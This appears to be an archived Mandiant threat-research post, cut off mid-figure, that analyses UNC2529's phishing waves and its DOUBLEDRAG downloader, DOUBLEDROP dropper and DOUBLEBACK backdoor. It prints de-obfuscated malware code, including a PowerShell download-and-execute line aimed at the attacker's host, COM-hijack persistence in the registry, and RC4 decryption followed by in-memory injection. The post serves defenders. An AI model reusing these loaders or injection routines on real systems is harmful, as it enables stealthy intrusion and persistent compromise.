{
	"id": "cf256ce1-a8aa-4d21-9dff-0b34f8be4de5",
	"created_at": "2026-04-06T00:13:18.230014Z",
	"updated_at": "2026-04-10T03:20:49.962667Z",
	"deleted_at": null,
	"sha1_hash": "fd41e484c702514a05e992b9aeeb1f73c27fd54c",
	"title": "The UNC2529 Triple Double: A Trifecta Phishing Campaign | Mandiant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1109307,
	"plain_text": "The UNC2529 Triple Double: A Trifecta Phishing Campaign |\r\nMandiant\r\nBy Mandiant\r\nPublished: 2021-05-04 · Archived: 2026-04-05 22:50:50 UTC\r\nWritten by: Nick Richard, Dimiter Andonov\r\nIn December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations\r\nacross an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable\r\ninfrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this\r\nthreat actor appears experienced and well resourced. This blog post will discuss the phishing campaign,\r\nidentification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a\r\ndeep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future\r\nblog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to\r\nhighlight the malware evolution.\r\nUNC2529 Phishing Overview\r\nMandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between\r\nDec. 11 and Dec. 18, 2020.\r\nDuring the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though\r\ntargeting was likely broader than directly observed. These emails were sent using 26 unique email addresses\r\nassociated with the domain tigertigerbeads\u003c.\u003ecom, and in only a small number of cases did we see the same\r\naddress used across multiple recipient organizations. These phishing emails contained inline links to malicious\r\nURLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mwGdczs, engineered to entice the victim to\r\ndownload a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.\r\nThe structure of URLs embedded in these phishing emails had the following patterns, where the string was an\r\nalphabetic variable of unknown function.\r\nhttp://\u003cfqdn\u003e/downld-id_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/downld-id-\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/files-upload_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/files-upload-\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/get_file-id_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/get_file-id-\u003cstring\u003e\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 1 of 22\n\nhttp://\u003cfqdn\u003e/zip_download_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/zip_download-\u003cstring\u003e\r\nThe first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt\r\ndecoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as\r\nDOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by\r\nremoving bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then\r\nattempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply\r\ndouble clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were\r\ndocument__client-id_\u003c4 digit number\u003e.extension, such as “document_Ohio_client-id_8902.zip”.\r\nEach of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage\r\nmemory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat\r\nor hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch\r\na backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples\r\nobserved during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and\r\nhxxps://lasartoria[.]net/admin/client.php.\r\nPrior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain\r\nowned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to\r\nphish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how\r\nthe legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload.\r\nThe threat actor made slight modifications to the URL pattern during the second wave.\r\nhttp://\u003cfqdn\u003e/\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/dowld_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/download_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/files_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/id_\u003cstring\u003e\r\nhttp://\u003cfqdn\u003e/upld_\u003cstring\u003e\r\nOf note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel\r\ndocument containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format\r\n(BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG\r\nJavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found\r\nwithin Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding\r\ncorrupt decoy PDF document.\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 2 of 22\n\nAdditional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware\r\nrepository, which revealed additional command and control servers (C2),\r\nhxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php,\r\nhxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of\r\nthese domains were registered after the observed second wave.\r\nTailored Targeting\r\nUNC2529 displayed indications of target research based on their selection of sender email addresses and subject\r\nlines which were tailored to their intended victims. For example, UNC2529 used a unique username,\r\nmasquerading as an account executive for a small California-based electronics manufacturing company, which\r\nMandiant identified through a simple Internet search. The username of the email address was associated with both\r\nsender domains, tigertigerbeads\u003c.\u003ecom and the compromised HVAC company. Masquerading as the account\r\nexecutive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive\r\nand military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the\r\nproducts of the California-based electronics manufacturing company.\r\nAnother example is a freight / transport company that received a phish with subject, “compton ca to flowery\r\nbranch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject\r\nline.\r\nA utility company received a phish with subject, “easement to bore to our stairwell area.”\r\nWhile not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in\r\nTable 1.\r\nSubject Lure Wave\r\nre: outdoors environment (1 out of 3) 1st\r\naccepted: follow up with butch \u0026 karen 1st\r\nre: appraisal for - smysor rd 2nd\r\nre: financing 2nd\r\nTable 1: Sample financial industry subject lures\r\nSeveral insurance companies that were targeted saw less specific subjects, but still appropriate for the industry,\r\nsuch as those in Table 2.\r\nSubject Lure Wave\r\nfw: certificate of insurance 1st\r\nfw: insurance for plow 1st\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 3 of 22\n\nplease get this information 1st\r\nquestion \u0026 number request 1st\r\nclaim status 2nd\r\napplications for medicare supplement \u0026 part d 2nd\r\nTable 2: Sample insurance industry subject lures\r\nInterestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a\r\nlocal water authority and an ongoing water project. While no public information was found to tie the company to\r\nthe other organization or project, the subject appeared to be very customized.\r\nSome patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services\r\norganization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures\r\ncontaining “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the\r\nU.S., this may indicate a non-native American English speaker.\r\nSubject Lure Wave\r\ndear worker, your work # ujcb0utczl 1st\r\ngood day worker, your job number- 8ldbsq6ikd 1st\r\nhello worker, your work number- u39hbutlsf 1st\r\ngood day candidate, your vacancy # xcmxydis4s 2nd\r\ndear worker, your work # ujcb0utczl 2nd\r\nTable 3: Sample pattern subject lures\r\nIndustry and Regional Targeting\r\nUNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional\r\nTargeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both\r\nwaves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in\r\nthe first wave, as shown in Figure 1.\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 4 of 22\n\nFigure 1: UNC2529 phishing campaign, first wave\r\nIn the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and\r\nAustralia remained at close to the same level, as illustrated in Figure 2.\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 5 of 22\n\nFigure 2: UNC2529 phishing campaign, second wave\r\nAlthough Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries\r\nand geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.\r\nTechnical Analysis\r\nOverview\r\nThe Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel\r\ndocument with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As\r\ndescribed in the previous section, the initial infection vector starts with phishing emails that contain a link to\r\ndownload a malicious payload that contains an obfuscated JavaScript downloader. Once executed,\r\nDOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper,\r\nDOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the\r\nbackdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on\r\nthe compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then\r\nexecuting it. The backdoor, once it has the execution control, loads its plugins and then enters a communication\r\nloop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem\r\nis that only the downloader exists in the file system. The rest of the components are serialized in the registry\r\ndatabase, which makes their detection somewhat harder, especially by file-based antivirus engines.\r\nEcosystem in Details\r\nDOUBLEDRAG Downloader component\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 6 of 22\n\nThe downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of\r\nthe code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.\r\n\"C:\\Windows\\System32\\cmd.exe\" /c oqaVepEgTmHfPyC \u0026 Po^wEr^sh^elL -nop -w hidden -ep bypass -enc \u003cbase64_encoded\r\nFigure 3: De-obfuscated JavaScript downloader\r\nThe downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the\r\ndownloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of\r\nthe code, observed in the first phishing wave, is shown in Figure 4.\r\nIEX (New-Object Net.Webclient).downloadstring(\"hxxp://p-leh[.]com/update_java.dat\")\r\nFigure 4: Downloading and executing of the DOUBLEDROP dropper\r\nDOUBLEDROP Dropper component\r\nOverview\r\nThe dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads\r\nare embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit\r\narchitectures. The dropper saves the encrypted payload along with the information related to its decryption and\r\nexecution in the compromised system’s registry database, effectively achieving a file-less malware execution.\r\nSetup\r\nThe dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised\r\nsystem's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the\r\nPersistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates\r\nthe registry keys and values shown in Figure 5.\r\n* HK[CU|LM]\\Software\\Classes\\CLSID\\{\u003crnd_guid_0\u003e}\r\n * key: LocalServer\r\n * value: \u003cdefault\u003e\r\n * data: \u003cbootstrap_ps_code\u003e\r\n * key: ProgID\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_1\u003e\r\n * value: \u003clast_4_chars_of_rnd_guid_0\u003e\r\n * data: \u003cencoded_loader\u003e\r\n * key: VersionIndependentProgID\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_1\u003e\r\n * value: \u003cfirst_4_chars_of_rnd_guid_0\u003e\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 7 of 22\n\n* data: \u003cencoded_rc4_key\u003e\r\n * value: \u003clast_4_chars_of_rnd_guid_0\u003e\r\n * data: \u003crc4_encrypted_payload\u003e\r\n* HK[CU|LM]\\Software\\Classes\\{\u003crnd_guid_1\u003e}\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_1\u003e\r\n * key: CLSID\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_0\u003e\r\n* HK[CU|LM]\\Software\\Classes\\CLSID\\{\u003crnd_guid_2\u003e}\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_1\u003e\r\n * key: TreatAs\r\n * value: \u003cdefault\u003e\r\n * data: \u003crnd_guid_0\u003e\r\nFigure 5: Registry keys and values created by the dropper\r\nOnce the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher\r\nPowerShell scripts and saves them under the {} registry key as shown in Figure 5. Additionally, at this point the\r\ndropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the\r\nVersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations,\r\nshown in Figure 6 (note that the key is reversed!).\r\n\u003crelative_offset\u003e = buffer[32]\r\nbuffer[32 + \u003crelative_offset\u003e + 1] = \u003creversed_rc4_key\u003e\r\nFigure 6: Encoding of the RC4 key\r\nFinally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under\r\nthe VersionIndependentProgId registry key (see Figure 5).\r\nAt this point all the necessary steps that ensure the payload's persistence on the system are complete and the\r\ndropper proceeds by directly executing the launcher script, so the backdoor receives the execution control\r\nimmediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the\r\nfollowing sections.\r\nPersistence Mechanism\r\nThe persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on\r\nwhether the dropper has been started within an elevated PowerShell process or not.\r\nIf the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action\r\nspecified as TASK_ACTION_COM_HANDLER and the class ID - the {} GUID (See Figure 5). Once executed\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 8 of 22\n\nby the system, the task finds the {} class under the HKLM\\Software\\Classes\\CLSID registry path, which in this\r\ncase points to an emulator class via the TreatAs registry key. The {} emulator class ID defines a registry key\r\nLocalServer and its default value will be executed by the task.\r\nIf the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead\r\nof a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1-\r\n4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by\r\ncreating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's\r\ndefault registry value points to the {} emulator class essentially achieving the same execution sequence as in the\r\nelevated privilege case.\r\nBootstrap\r\nThe bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The\r\ncontent of the code is saved under the emulator's class LocalServer registry key and it is either executed by a\r\ndedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the\r\nemulator for the PlaySoundService or MsCtfMonitor classes.\r\nThe bootstrap code finds the location of the launcher script, decodes it and then executes it within the same\r\nPowerShell process. A decoded and sanitized version of the script is shown in Figure 7.\r\n$enc = [System.Text.Encoding]::UTF8;\r\n$loader = Get-ItemProperty\r\n -Path($enc.GetString([Convert]::FromBase64String('\u003cbase64_encoded_path_to_launcher\u003e')))\r\n -n '\u003clauncher_reg_val\u003e' | Select-Object -ExpandProperty '\u003clauncher_reg_val\u003e';\r\n$xor_val = \u003cxor_val\u003e;\r\niex(\r\n $enc.GetString($(\r\n for ($i = 0; $i -lt $loader.Length; $i++) {\r\n if ($xor_val -ge 250) {\r\n $xor_val = 0\r\n }\r\n $loader[$i] -bxor $xor_val;\r\n $xor_val += 4\r\n }\r\n ))\r\n)\r\nFigure 7: De-obfuscated and sanitized bootstrap code\r\nNote that the actual values for , , and are generated on the fly by the dropper and will be different across the\r\ncompromised systems.\r\nThe encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The\r\nfollowing code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 9 of 22\n\ndef encdec(src, key):\r\n out = bytearray()\r\n for b in src:\r\n if key \u003e= 250:\r\n key = 0\r\n out.append(b ^ key)\r\n key += 4\r\n return out\r\nFigure 8: Algorithm to Decode the Launcher\r\nOnce the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex\r\n(Invoke-Expression) command.\r\nLauncher\r\nThe launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload\r\nsaved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key\r\nprovided in the value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the\r\nlauncher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a\r\nthread around the entry point specified in the dropper. The function at that entry point is expected to lay the image\r\nin memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry\r\npoint.\r\nA sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.\r\nfunction DecryptPayload {\r\n param($fn7, $xf7, $mb5)\r\n $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;\r\n $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));\r\n $ow7 = $fn1[$en8..($en8 + 31)];\r\n [array]::Reverse($ow7);\r\n $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;\r\n $en8 = {\r\n $xk2 = 0..255;\r\n 0..255 | % {\r\n $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));\r\n $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]\r\n };\r\n $fn1 | % {\r\n $sp3 = ($sp3 + 1) % (275 - 19);\r\n $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);\r\n $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];\r\n $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]\r\n }\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 10 of 22\n\n};\r\n $ry6 = (\u0026 $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';\r\n ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {\r\n [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))\r\n }\r\n )\r\n )\r\n}\r\nfunction ExecuteApi {\r\n param($fn7, $xf7)\r\n $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?'))\r\n $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $\r\n $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,\r\n $vy9.CreateType()\r\n}\r\nfunction GetProcAddress {\r\n param($fn7)\r\n $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {\r\n $_.GlobalAssemblyCache -and $_.Location.Split('\\\\')[-1].Equals('System.dll')\r\n }).GetType('Microsoft.Win32.UnsafeNativeMethods');\r\n $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHa\r\n $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.Callin\r\n}\r\n$decryptedPayload = DecryptPayload 'hklm:\\software\\classes\\CLSID\\\u003crnd_guid_0\u003e\\VersionIndependentProgID' '\u003creg_va\r\nfunction InjectPayload {\r\n param($payload, $payloadLen, $entryPoint, $access)\r\n $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAlloc\r\n [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (E\r\n $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);\r\n [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (Ex\r\n Start-Sleep -s (((2673 - 942) + 1271))\r\n}\r\n# 0x36dc = Loader Entry Point, rva\r\n# 0x40 = PAGE_EXECUTE_READWRITE\r\nInjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40\r\nFigure 9: De-obfuscated and sanitized launcher script\r\nDOUBLEBACK Backdoor component\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 11 of 22\n\nOverview\r\nThe observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE\r\ndynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell\r\nprocess started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions\r\nare met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly\r\nspawned msiexec.exe process. \r\nIn contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is\r\nexpected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending\r\non the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish\r\na communication framework ensuring data integrity between the C2 server and the appropriate plugins.\r\nDetails\r\nThe backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In\r\nall other cases, the malware will immediately terminate itself. Normally, when first started on the system, the\r\nbackdoor will be injected into the same PowerShell process that executes both the bootstrap code and the\r\nlauncher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects\r\nitself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided\r\nin the following sections. \r\nNext, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised\r\nsystem. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The\r\nalgorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a\r\nhardcoded salt value, as shown in Figure 10.\r\n# oberserved salt = 0x436ea76d\r\ndef gen_host_id(vol_ser_num, salt):\r\n salted_val = (vol_ser_num + salt) \u0026 0xffffffff\r\n md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))\r\n second_dword = struct.unpack('\u003ci', md5.digest()[4 : 8])[0]\r\n return (salted_val + second_dword) \u0026 0xffffffff\r\nFigure 10: Host ID generation algorithm\r\nNext, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based\r\non the input, as shown in Figure 11.\r\n# src is the host ID\r\ndef gen_guid(src):\r\n b = bytearray()\r\n xor = 0xaabbccdd\r\n for _ in range(4):\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 12 of 22\n\nb += src.to_bytes(4, byteorder='little')\r\n src ^= xor\r\n xor = (xor + xor) \u0026 0xffffffff\r\n return uuid.UUID(bytes_le=bytes(b))\r\nFigure 11: GUID generation algorithm\r\nOnce the GUID is generated the malware formats it as Global\\{\u003cguid\u003e} and attempts to open a mutex with that\r\nname. In case the mutex is already created the backdoor assumes that another instance of itself is already running\r\nand terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected\r\nprocess it currently mapped into.\r\nExecuting Within the PowerShell Process\r\nThe initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap\r\ncode. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the\r\ninjection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe,\r\navpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the\r\nfunctionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is\r\ndetected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the\r\ncompromised system. In the latter case, the backdoor's main functionality will be executed inside the same\r\nPowerShell process and no new instance of msiexec.exe will be created.\r\nThe injection process involves finding the backdoor's image under the appropriate registry key. Note, that the\r\nbackdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is\r\ninstalled as an administrator—such cases would end up with the backdoor not able to locate its image for\r\ninjecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and\r\nMsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition.\r\nOnce the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted\r\nbackdoor image and the encoded RC4 key both described in the previous section of the post.\r\nWith the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around\r\nmsiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its\r\nown image in memory and execute its DllMain entry point. The export function allocates the needed memory,\r\nrelocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.\r\nAt this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell\r\nprocess terminates itself.\r\nExecuting as Injected in the msiexec.exe Process\r\nOverview\r\nThe DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process\r\n(provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 13 of 22\n\nconfiguration, plugin management, and communications. In the following sections we will describe the first two,\r\nwhile a future blog post will focus on the communications and the evolution of the backdoor.\r\nConfiguration\r\nThe backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the\r\nsecond part of the post). The configuration data is formatted as shown in Figure 12.\r\nstruct tag_config_header_t {\r\n uint32_t xor_val_1;\r\n uint32_t xor_val_2;\r\n uint32_t xor_val_3;\r\n uint32_t xor_val_4;\r\n} config_header_t;\r\nstruct tag_config_t {\r\n config_header_t header;\r\n uint8_t encoded_config[];\r\n} config_t;\r\nFigure 12: Encoded configuration format\r\nThe length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the\r\nconfig_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the\r\nconfig_header_t.xor_val_1.\r\nThe decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the\r\ncommunication module. The first two bytes specify the lengths of the comma-separated URL list and the key,\r\nrespectively. The URLs in the observed samples follow the pattern shown in Figure 13.\r\nhttps://\u003cserver\u003e/admin\u003cn\u003e/client.php\r\nFigure 13: Observed C2 URL pattern\r\nThe initial sample did not have any value for \u003cn\u003e but the samples after that were observed to use \u003cn\u003e equal to 4\r\nor 5.\r\nPlugin Management\r\nThe backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The\r\nplugins, as with the other backdoor components, are also saved in the registry database under a host-specific\r\nregistry key. The full path to the plugins location is formatted as HK[LM|CU]:\\Software\\Classes\\CLSID\\\r\n{\u003cplugins_home_guid\u003e}, where \u003cplugins_home_guid\u003e is generated by the GUID algorithm shown in Figure 11\r\nwith a host-specific value we call implant ID which is used not only to generate the path to the plugins but with\r\nthe backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 14 of 22\n\ninitialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown\r\nin Figure 14, with the host ID and the \u003cmax_range\u003e value is set to 0x54c5638. The value generated by the LCG is\r\nthen added to 0x989680 and the result serves as the implant ID.\r\ndef lcg(max_range):\r\n global seed\r\n if seed == 0:\r\n seed = get_RDTSC()\r\n n = (0x7fffffed * seed + 0x7fffffc3) \u0026 0xffffffff\r\n val = n % max_range\r\n seed = n\r\n return val\r\nFigure 14: Linear Congruential Generator used by the backdoor\r\nThe backdoor enumerates all the registry values under the plugins home location (the registry value names are\r\ninsignificant) and expects each of the plugins to be formatted, as shown in Figure 15.\r\nstruct tag_plugin_header_t {\r\n uint32_t xor_val;\r\n uint32_t param_2; the second parameter of the pfn_init\r\n uint32_t len_1;\r\n uint32_t len_2;\r\n uint32_t pfn_init;\r\n uint32_t pfn_cleanup;\r\n uint32_t param_3; the third parameter of the pfn_init\r\n uint32_t unused;\r\n} plugin_header_t;\r\nstruct tag_plugin_t {\r\n plugin_header_t header;\r\n uint8_t encoded_plugin[];\r\n} plugin_t;\r\nFigure 15: Encoded plugins format\r\nAs shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL.\r\nThe plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified\r\nby the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded\r\nwith plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies\r\nthe number of bytes to be decoded at the current position after the previous operation with the current value of the\r\nplugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value\r\nis incremented by one after each iteration.\r\nThe plugins are expected to export at least two functions—one for initialization and another to clean up the\r\nresources before unloading. The initialization routine takes four parameters—two from the header and two\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 15 of 22\n\ncalculated by the backdoor, as shown Figure 16.\r\npfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, 